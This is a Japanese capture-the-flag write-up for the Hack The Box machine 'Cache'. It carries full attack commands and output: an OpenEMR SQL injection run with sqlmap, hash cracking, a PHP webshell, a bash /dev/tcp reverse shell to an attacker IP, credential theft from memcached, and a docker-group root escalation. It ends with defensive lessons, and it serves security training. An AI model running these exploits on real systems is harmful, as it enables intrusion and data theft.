Hack The BoxのWriteup(Cache)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Cache — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http (OpenEMR)
functionality.js 漏洩
ash:H@v3_fun
認証済みSQLi
eid= パラメータ, sqlmap
bcryptクラック
openemr_admin:xxxxxx
webshell配置
manage_site_files.php
ash シェル
user.txt ✓
Memcached 平文漏洩
luffy:0n3_p1ec3
docker グループ悪用
chroot /mnt
root.txt ✓

Nmap ポートスキャン

BASH
nmap -sV -sC -p 22,80 10.129.12.34
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    Apache httpd 2.4.29
| http-title: OpenEMR Login
|_Requested resource was interface/login/login.php?site=default
|_http-server-header: Apache/2.4.29 (Ubuntu)
ℹ️
ルートの Web アプリはすでに OpenEMR(電子カルテ / Electronic Medical Record システム) のログイン画面にリダイレクトされている。バージョンはまだ不明だが、後続のフッター調査で特定する。

Whatweb / 基本HTTP調査

BASH
curl -sI --max-time 10 http://10.129.12.34
whatweb -a 3 http://10.129.12.34
RESULT
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)
...
Title[Cache]
ℹ️
トップページ (login.html) のタイトルはマシン名と同じ “Cache”。ここから OpenEMR の interface/login/login.php とは別に、静的なランディングページが存在することが分かる。
PHASE 2

情報漏洩調査 — functionality.js & hms.htb vhost の発見

login.html のクライアント側検証スクリプトを確認

BASH
curl -s --max-time 8 http://10.129.12.34/jquery/functionality.js
RESULT
function checkCorrectPassword(){
    var Password = $("#password").val();
    if(Password != 'H@v3_fun'){
        alert("Password didn't Match");
        error_correctPassword = true;
    }
}
function checkCorrectUsername(){
    var Username = $("#username").val();
    if(Username != "ash"){
        alert("Username didn't Match");
        error_username = true;
    }
}
🚨
重大な設計ミス: このランディングページのログインフォームは、正解のユーザー名/パスワードを クライアント側JavaScriptに平文でハードコードして検証している。 ash : H@v3_fun という有効な資格情報がそのまま漏洩している。

Author ページから HMS プロジェクトへの言及を発見

NOTE
トップページ内の "Author" セクションに、開発者が過去に手掛けたプロジェクトとして
"HMS (Hospital Management System)" という記述がある。これは OpenEMR ベースの
医療機関向けカルテシステムの通称であり、別 vhost で稼働している可能性を示唆する。

/etc/hosts に以下を追加:
  10.129.12.34  hms.htb
BASH
echo "10.129.12.34 hms.htb" | sudo tee -a /etc/hosts
curl -s http://hms.htb/ | head -30
RESULT
<title>OpenEMR</title>
...
Copyright (c) 2018 OpenEMR ...
ℹ️
vhost hms.htb を追加すると OpenEMR インスタンスが姿を現す。フッターのコピーライト表記 (2018年) から、OpenEMR 5.0.1.x 系(2018年リリース)であると推定できる。
PHASE 3

OpenEMR 5.0.1.3 認証済みSQLi → openemr_admin ハッシュ奪取

既知脆弱性: add_edit_event_user.php の未サニタイズ eid パラメータ

NOTE
OpenEMR 5.0.1.3 以前は、Project Insecurity のレポートで報告された通り
portal/add_edit_event_user.php の "eid" 等のパラメータが add_escape_custom()
(mysqli_real_escape_string ラッパー) でエスケープされずに SQL クエリへ
連結されており、SQLi に対して脆弱(5.0.1.4 で全パラメータがエスケープされ修正済み)。

ただし portal 配下の大半のページは通常アクセスすると index.php へリダイレクトされる。
0xdf のウォークスルーで報告されている既知バグとして、
  /portal/account/register.php
へ一度アクセスすると、その PHPSESSID が約10分間「ログイン済み」として扱われる
認証バイパスが成立し、この bypass 済みセッションでのみ add_edit_event_user.php
に到達できる。

認証バイパス用セッションの取得

BASH
curl -s -c cookies.txt http://hms.htb/portal/account/register.php
cat cookies.txt | grep PHPSESSID
RESULT
PHPSESSID=72spm099qmflc7lqp3lqgcj6i8  (約10分間ログイン済み扱いとして有効)

sqlmap でハッシュをダンプ

BASH
# リクエストファイル (cache_sqli_req.txt)
GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: hms.htb
Cookie: PHPSESSID=72spm099qmflc7lqp3lqgcj6i8
Connection: close

sqlmap -r cache_sqli_req.txt --batch --fresh-queries \
  -D openemr -T users_secure -C username,password --dump
RESULT
Parameter: eid (GET)
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: eid=1 AND EXTRACTVALUE(1362,CONCAT(0x5c,0x71786b6271,(SELECT (ELT(1362=1362,1))),0x716b787a71))
...
the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)

Database: openemr
Table: users_secure
[1 entry]
+---------------+--------------------------------------------------------------+
| username      | password                                                      |
+---------------+--------------------------------------------------------------+
| openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. |
+---------------+--------------------------------------------------------------+
ハッシュ抽出成功。 エラーベース (EXTRACTVALUE) の SQLi で MySQL バージョンを確定した後、 UNION/エラーベースを組み合わせて openemr.users_secure テーブルから 管理者アカウント openemr_admin の bcrypt ハッシュを取得。

john + rockyou.txt でハッシュをクラック

BASH
echo 'openemr_admin:$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.' > cache_openemr_admin.hash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt cache_openemr_admin.hash
john --show --format=bcrypt cache_openemr_admin.hash
RESULT
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
... (クラック実行、bcryptはコストが高く数分かかる)

openemr_admin:xxxxxx

1 password hash cracked, 0 left
クラック成功: openemr_admin の実パスワードは xxxxxx (英小文字の “x” 6文字)。rockyou.txt に含まれる弱いパスワードだったため、bcrypt(コストファクタ05)でも 現実的な時間でクラックできた。
PHASE 4

OpenEMR管理画面ログイン → webshell配置 → user.txt

管理画面へログイン

BASH
# ブラウザ or requests.Session() で
# http://hms.htb/interface/login/login.php にアクセスし
# authUser=openemr_admin / clearPass=xxxxxx でPOST
RESULT
ログイン成功 — Calendar / Patient メニューが表示される管理画面に遷移

manage_site_files.php の既存ファイル編集機能で webshell を配置

NOTE
管理画面の "Files" メニュー(interface/super/manage_site_files.php)は、
サイトテンプレート配下の既存 PHP ファイルをブラウザから直接編集・保存できる
機能を持つ。以下のファイルを1行の webshell に書き換える:

  対象ファイル: letter_templates/custom_pdf.php
  書き換え後の内容: <?=`$_GET[0]`?>

(PHPのバッククォート演算子 = shell_exec 相当。GETパラメータ "0" の値を
  そのままシェルコマンドとして実行し、標準出力を画面に返す)
RESULT
保存後、以下のURLで任意コマンド実行が可能になる:
  http://hms.htb/sites/default/letter_templates/custom_pdf.php?0=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE確立。 www-data 権限でのコマンド実行が可能になった。

リバースシェルを起動

BASH
# ターミナル1: リスナー
nc -lnvp 4444

# webshell経由でリバースシェルコマンドを送信
curl -s "http://hms.htb/sites/default/letter_templates/custom_pdf.php" \
  --data-urlencode "0=bash -c 'bash -i >& /dev/tcp/10.10.15.200/4444 0>&1'" -G
RESULT (nc リスナー側)
listening on [any] 4444 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.12.34] 33858
www-data@cache:/var/www/hms.htb/public_html/sites/default/letter_templates$

TTY割り当て & su ash

NOTE
bash -i >&/dev/tcp/... で得たリバースシェルには制御端末(TTY)が
割り当てられていないため、su は "must be run from a terminal" で
即座に失敗する。python3 の pty モジュールで疑似端末を割り当てたシェルを
起動してから su を実行する必要がある。
BASH
www-data@cache:...$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@cache:...$ su ash
Password: H@v3_fun
ash@cache:~$ id
RESULT
uid=1000(ash) gid=1000(ash) groups=1000(ash)
⚠️
ハマりどころ: su の成否判定を id 出力に "ash" という 部分文字列が含まれるかだけで判定すると、直前に叩いた python3 -c "...pty.spawn('/bin/bash')" というコマンド文字列自体に /bin/bash が含まれているため、リモート端末のバッファに残った エコーテキストと偶然一致してsu失敗を誤って成功と判定してしまうことがある (実際に自動化スクリプトでこの誤検知が発生した)。判定には id 出力の uid=<番号>(ash) という厳密な形式でのマッチが安全。

user.txt 取得

BASH
ash@cache:~$ cat /home/ash/user.txt
RESULT
835c2a4fd659fd68457bf698d1521942
user.txt — ash@cache
835c2a4fd659fd68457bf698d1521942
PHASE 5

権限昇格の下調べ — Memcached (:11211) の認証なしアクセス

ローカルで稼働するMemcachedを発見

BASH
ash@cache:~$ ss -tlnp | grep 11211
ash@cache:~$ ps aux | grep memcached
RESULT
tcp   LISTEN  0  128  127.0.0.1:11211  0.0.0.0:*
memcache   ...   /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1
🚨
Memcached はデフォルトで認証機能を持たないプロトコル。ローカルホストからは誰でも nc でテキストプロトコルを喋りかけるだけで中身を読める。

格納キーの列挙 & 平文パスワードの取得

BASH
ash@cache:~$ printf 'stats cachedump 1 0\r\nget passwd\r\nquit\r\n' | nc -q1 127.0.0.1 11211
RESULT
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [.. b; 0 s]
END
VALUE passwd 0 9
0n3_p1ec3
END
平文クレデンシャル漏洩。 stats cachedump 1 0 でスラブクラス1内の全キー名 (link/user/passwd/file/account) を列挙し、get passwd でその値を直接取得できる。 取得した値 0n3_p1ec3 は別ユーザー luffy のログインパスワードである。
⚠️
ハマりどころ (実装上の注意): PTY (cooked モード) 経由で nc の出力を読み取ると、 元のプロトコル上の \r\n がさらにターミナル側で \r を追加され \r\r\n という二重の並びになることがある。正規表現で VALUE passwd \d+ \d+\r?\n(\rを高々1個だけ許容)のように厳密に書くと 一致に失敗するため、\r*\n のように \r の個数を可変長で許容する必要がある。

su luffy → docker グループ所属を確認

BASH
ash@cache:~$ su luffy
Password: 0n3_p1ec3
luffy@cache:~$ id
RESULT
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),110(docker)
🚨
重大発見: luffydocker グループのメンバー。 docker デーモンのソケットに直接アクセスできるため、SUIDバイナリのような明示的な脆弱性がなくとも ホストの root と同等の権限を得られる(docker グループ = root 相当という よく知られた設計上のリスク)。
PHASE 6

docker グループ悪用 → ホストファイルシステム直接アクセス → root.txt

ホストの / をコンテナにマウントして chroot

NOTE
docker グループに所属していれば、-v でホストの任意ディレクトリ(ここではルート "/")を
新規コンテナ内にマウントし、コンテナ内から chroot することで、コンテナの隔離を経由して
ホスト側のファイルシステムへ root 権限で直接アクセスできる。
(対話シェルを得た上で passwd 変更する、あるいは直接ファイルを読む、のどちらも可能。
  ここでは対話操作なしで root.txt を直接 cat する方法を使う)
BASH
luffy@cache:~$ docker run -v /:/mnt --rm -i ubuntu chroot /mnt cat /root/root.txt
RESULT
4a117383a44643f3bb0fe209c46675c5
root.txt — 経由: docker run –rm -i ubuntu chroot /mnt
4a117383a44643f3bb0fe209c46675c5
ℹ️
--rm でコンテナは実行後に自動削除され、-i で標準入力を保持したまま 1コマンドだけ実行して終了する。対話的なシェル(chroot /mnt sh)を得てから passwd でrootパスワードを変更する手法も可能だが、フラグを読むだけであれば chroot /mnt cat /root/root.txt を docker コマンドの引数に直接渡す方が 対話操作なしで一発で完結し、確実。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — ash@cache
835c2a4fd659fd68457bf698d1521942
root.txt — Administrator権限相当 (docker グループ悪用)
4a117383a44643f3bb0fe209c46675c5

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
クライアント側検証への平文クレデンシャル埋め込み login.html / jquery/functionality.js 資格情報漏洩 Medium JSファイルを直接取得し ash:H@v3_fun を回収
OpenEMR 5.0.1.3 認証済みSQLi portal/add_edit_event_user.php ?eid= 管理者bcryptハッシュの奪取 Critical register.php 経由の認証バイパスセッション + sqlmap でエラーベース抽出
管理画面のファイル編集機能によるRCE interface/super/manage_site_files.php www-data 権限でのリモートコード実行 Critical 既存PHPテンプレートをワンライナーwebshellに書き換え
Memcached 認証なしアクセス 127.0.0.1:11211 平文クレデンシャル漏洩 High stats cachedump / get コマンドで luffy のパスワードを取得
docker グループ = root相当の権限 luffy ユーザーの docker グループ所属 ホストファイルシステムへのroot権限アクセス Critical docker run -v /:/mnt –rm -i ubuntu chroot /mnt でホストrootを直接操作

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + whatweb22/ssh, 80/http (OpenEMR)
2情報漏洩・vhost発見functionality.js 解析 + Author欄 → hms.htbash:H@v3_fun、OpenEMR 5.0.1.3判明
3SQLiregister.php認証バイパス + sqlmapopenemr_admin bcryptハッシュ → john でクラック (xxxxxx)
4webshell RCEmanage_site_files.php ファイル書換user.txt 取得 (ash シェル経由)
5権限調査Memcached (:11211) 列挙luffy:0n3_p1ec3、docker グループ所属を確認
6docker悪用docker run -v /:/mnt –rm -i ubuntu chrootroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
ログインフォームの正解値をクライアント側JavaScriptにハードコード 認証判定は必ずサーバー側で行う。クライアント側検証はUX向上目的に留め、秘密情報を含めない。
OpenEMR が既知のSQLi脆弱バージョン(5.0.1.3以前)のまま運用 医療系ソフトウェアなど機微情報を扱うシステムは特に迅速なパッチ適用を徹底する。WAFによる異常パラメータの検知も有効。
管理画面から任意の設置済みPHPファイルを直接編集できる機能が存在 本番環境では管理画面からのファイル書き込み機能を無効化するか、書き込み先ディレクトリの実行権限を剥奪する。
Memcached に認証がなく、平文でパスワードをキャッシュしていた Memcachedは信頼できないネットワークから遮断し(bind localhost + firewall)、機密情報をキャッシュに平文保存しない。SASL認証の利用も検討する。
一般ユーザーが docker グループに所属 (root権限と実質同等) docker グループへの所属を必要最小限に絞る。rootless docker や、Podman等のより権限分離されたコンテナランタイムの採用を検討する。
HackTheBox: Cache | 完全攻略レポート